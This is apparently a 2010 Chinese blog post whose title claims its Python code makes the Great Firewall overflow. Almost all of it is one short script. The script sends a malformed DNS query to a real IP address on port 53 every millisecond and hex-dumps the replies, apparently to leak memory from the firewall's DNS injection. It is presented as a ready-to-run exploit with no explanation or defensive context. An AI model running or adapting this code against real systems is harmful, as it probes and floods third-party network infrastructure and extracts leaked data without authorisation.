Oct 21, 2010

让GFW溢出的Python代码

import socket
import binascii
import time
import threading
class DataReceiver:
    def __init__(self, s):
        self.s = s
    def __call__(self):
        while True:
            r = s.recvfrom(65535)[0]
            i = 0
            while i < len(r):
                print '%04x:' % i,
                p = list(r[i : i + 16])
                for j in range(0, len(p)):
                    print binascii.b2a_hex(p[j]),
                    if p[j] < ' ' or p[j] > '~':
                        p[j] = '.'
                print ' ' * ((15 - j) * 3),
                print "".join(p)
                i += 16
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
threading.Thread(target = DataReceiver(s)).start()
while True:
    s.sendto("\1\1\6wux.ru\377", ("98.137.149.56", 53))
    time.sleep(0.001)

0 comments:

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Powered by Blogger